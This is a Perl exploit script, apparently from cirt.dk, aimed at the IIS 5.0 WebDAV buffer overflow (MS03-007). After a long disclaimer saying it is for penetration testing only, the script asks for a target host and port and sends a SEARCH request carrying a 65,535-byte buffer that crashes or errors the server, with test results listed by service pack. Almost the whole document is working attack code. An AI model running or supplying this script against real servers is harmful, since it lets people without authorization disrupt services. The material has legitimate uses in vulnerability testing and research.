#!/usr/bin/perl #ooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOO # # ************************************************** !!! WARNING !!! *********************************************************** # * FOR SECURITY TESTiNG ONLY! * # ****************************************************************************************************************************** # * By using this code you agree that I makes no warranties or representations, express or implied, about the * # * accuracy, timeliness or completeness of this, including without limitations the implied warranties of * # * merchantability and fitness for a particular purpose. * # * I makes NO Warranty of non-infringement. This code may contain technical inaccuracies or typographical errors. * # * This code can never be copyrighted or owned by any commercial company, under no circumstances what so ever. * # * but can be use for as long the developer, are giving explicit approval of the usage, and the user understand * # * and approve of all the parts written in this notice. * # * This program may NOT be used by any Danish company, unless explicit written permission from the developer . * # * Neither myself nor any of my Affiliates shall be liable for any direct, incidental, consequential, indirect * # * or punitive damages arising out of access to, inability to access, or any use of the content of this code, * # * including without limitation any PC, other equipment or other property, even if I am Expressly advised of * # * the possibility of such damages. I DO NOT encourage criminal activities. If you use this code or commit * # * criminal acts with it, then you are solely responsible for your own actions and by use, downloading,transferring, * # * and/or reading anything from this code you are considered to have accepted the terms and conditions and have read * # * this disclaimer. Once again this code is for penetration testing purposes only. * # ****************************************************************************************************************************** # Tested on : # W2K SP3 + the fix -> IIS issues an error # W2K SP3 -> IIS temporarily crashes # W2K SP2 -> IIS temporarily crashes # W2K SP1 -> IIS does not crash, but issues a message # about an internal error # # W2K -> IIS does not crash, but issues a message about # an internal error # # This tool is only for testing if you are affected with the current vulnerability # # # Coded by Dennis Rand - www.cirt.dk # # Read more about the vulnerability at Microsoft - MS03-007 # If you put a debugger on the Inetinfo process you can see the result- # use strict; use IO::Socket; use LWP::Simple; # Globals Go Here. my $host; # Host being probed. my $port; # Webserver port. my $Buffer; # A x 65535 my $XMLShit; # XML Request my $Host_Header; # The Host header has to be changed $Buffer = "A" x 65535; $Host_Header = "Host: 127.0.0.1\r\nContent-type: text/xml\r\nContent-Length: 133\r\n"; $XMLShit = " \r\n\r\n\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n"; # SUBROUTINES GO HERE. &intro; &scan; &exit; # Play safe with this . sub intro { &host; sleep 3; }; # host subroutine. sub host { system('cls'); print "\n WebDAV Buffer Overflow for IIS 5.0"; print "\n http://www.cirt.dk"; print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; print "\n Host : "; $host=; chomp $host; if ($host eq ""){$host="127.0.0.1"}; print "\n Port : "; $port=; chomp $port; if ($port =~/\D/ ){$port="80"}; if ($port eq "" ) {$port = "80"}; }; # end host subroutine. # scan subroutine. sub scan { print "\n\n"; print "\nIIS 5.0 WebDAV BufferOverflow attack - $host on port $port ..."; print "\n"; &connect; }; # Connect subroutine. sub connect { my $connection = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Could not connect to $host \n"; $connection -> autoflush(1); # It is here we put it all together and Flush the Buffer print $connection "SEARCH /$Buffer HTTP/1.1\r\n$Host_Header\r\n$XMLShit\r\n"; close $connection; }; # end connect subroutine. # exit subroutine. sub exit{ print "\n\n\n"; exit; };